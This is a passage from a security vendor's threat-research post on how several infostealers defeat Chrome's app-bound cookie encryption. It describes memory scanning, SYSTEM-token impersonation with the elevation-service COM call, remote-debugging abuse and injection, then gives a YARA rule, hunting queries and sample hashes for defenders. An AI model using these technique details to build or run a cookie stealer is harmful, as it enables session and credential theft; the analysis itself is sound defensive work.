<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>